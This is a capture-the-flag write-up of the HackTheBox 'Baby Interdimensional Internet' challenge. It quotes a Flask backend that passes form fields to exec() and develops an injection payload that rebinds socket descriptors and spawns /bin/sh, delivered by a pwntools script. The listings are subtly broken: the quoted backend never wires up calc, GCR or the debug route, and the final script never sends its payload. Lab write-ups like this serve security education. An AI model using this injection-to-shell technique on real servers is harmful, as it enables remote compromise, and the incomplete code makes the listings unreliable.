HackTheBox – Baby Interdimensional Internet

In this write-up we will be visiting the baby interdimensional internet challenge from HackTheBox.

aw man, aw geez, my grandpa rick is passed out from all the drinking again, where is a calculator when you need one, aw geez

We are presented with just a URL on the HackTheBox docker subdomain. We start by opening a browser and analyzing the functionality of the website.

As can be seen in the illustration above, the website presents us with a static page. We did not find any way to interact with the website, so we resort to scanning the website in an attempt to find other vulnerable endpoints.

We find that the website contains an additional page, debug. Navigating to debug reveals the source-code of what appears to be the website backend. The contents of the page is shown below.

from flask import Flask, Response, request, render_template, request
from random import choice, randint
from string import lowercase
from functools import wraps

app = Flask(__name__)

def calc(recipe):
	global garage
	garage = {}
	try: exec(recipe, garage)
	except: pass

def GCR(func): # Great Calculator of the observable universe and it's infinite timelines
	def federation(*args, **kwargs):
		ingredient = ''.join(choice(lowercase) for _ in range(10))
		recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))

		if request.method == 'POST':
			ingredient = request.form.get('ingredient', '')
			recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))


		if garage.get(ingredient, ''):
			return render_template('index.html', calculations=garage[ingredient])

		return func(*args, **kwargs)
	return federation

@app.route('/', methods=['GET', 'POST'])
def index():
	return render_template('index.html')

def debug():
	return Response(open(__file__).read(), mimetype='text/plain')

if __name__ == '__main__':
	app.run('', port=1337)

In the source-code for the main page we notice something very interesting. The application reads two parameters, ingredients and measurements, from our HTTP POST request body and use them in a call chain that ends with a call to exec. Thus, if we can modify these values we can influence the code executed inside the call to exec.

The string executed by the call to exec, called recipe, is constructed as [x = y] where x is replaced by the contents of the ingredients parameter and y is replaced by the contents of the measurements parameter. Since we are interested in executing our own chunk of code independent from the assignment operation, we can escape the command by specifying a measurements parameter of [1; exec “”]. This will effectively turn the recipe parameter into [x = 1; exec “”]. We can then insert whatever code we are interested in executing within the quotation marks after the exec command in the measurements parameter.

Now that we have identified the vulnerability in the website, there are many possible ways to exploit the command injection, but in this blog-post we will go with the binary exploitation approach. Our main goal for an average Linux-based binary exploitation process is to execute ‘/bin/sh’ or ‘/bin/bash’. However, when this process is performed over a network socket we must also perform redirection of the socket file descriptor such that it reflects the streams for the standard input, the standard output and optionally the standard error. This can be done quite trivially in Python as shown below.

import os
import subprocess

os.dup2(fd, 0)
os.dup2(fd, 1)
os.dup2(fd, 2)

subprocess.call(['/bin/sh', '-i'])

Here we assume that ‘fd’ is the file descriptor for the server-side network socket. We can thus express our exploitation process in Python as shown below.

a = __import__('os');
b = __import__('subprocess');
a.dup2(4, 0);
a.dup2(4, 1);
a.dup2(4, 2);
b.call(['/bin/sh', '-i'])

Now that we have figured out a viable payload we must construct a script to deliver our payload to the target web page. Interestingly, if we perform our attack through an HTTP library, we have no way of interacting with the spawned shell process and must therefore decide on an alternative approach. Once again we choose the binary exploitation approach and decide to utilize the pwntools library for Python to open a raw socket towards the target webserver and send the raw HTTP request as a string. It is very important that we also specify the HTTP header “Connection: keep-alive”, such that the remote server does not terminate our connection instantly upon receiving the HTTP request data. The final script can be found below.

from pwn import *

cmd = '1;exec "'
cmd += 'a=__import__(\'os\');'
cmd += 'b=__import__(\'subprocess\');'
cmd += 'a.dup2(4, 0);'
cmd += 'a.dup2(4, 1);'
cmd += 'a.dup2(4, 2);'
cmd += 'b.call([\'/bin/sh\', \'-i\'])"'

body = 'ingredient=x&measurements={}'.format(cmd)

payload = "POST / HTTP/1.1\r\n"
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "Content-Length: {}\r\n".format(len(body))
payload += "Connection: keep-alive\r\n"
payload += "\r\n"
payload += "{}\r\n".format(body)
payload += "\r\n"

s = remote('docker.hackthebox.eu', 32137)

You might notice that the number ‘4’ has been chosen as the file descriptor for the server-side network socket. When guessing the server-side file descriptor for a network socket we know that 0 is reserved for the standard input, 1 is reserved for the standard output and 2 is reserved for the standard error. This leaves us with values above or equal to 3. However, when binding a listener to a local port in the back-end application, you occupy file descriptor number 3, effectively leaving us with values above or equal to 4 for incoming socket connections. Since the application is very simple and we do not expect multiple incoming connections, we can assume that the file descriptor is close to (or equal to) 4 and simply increment the value until it works.

We can now execute our Python script and hopefully obtain a shell.

And there you have it – the challenge has been solved!

Leave a Reply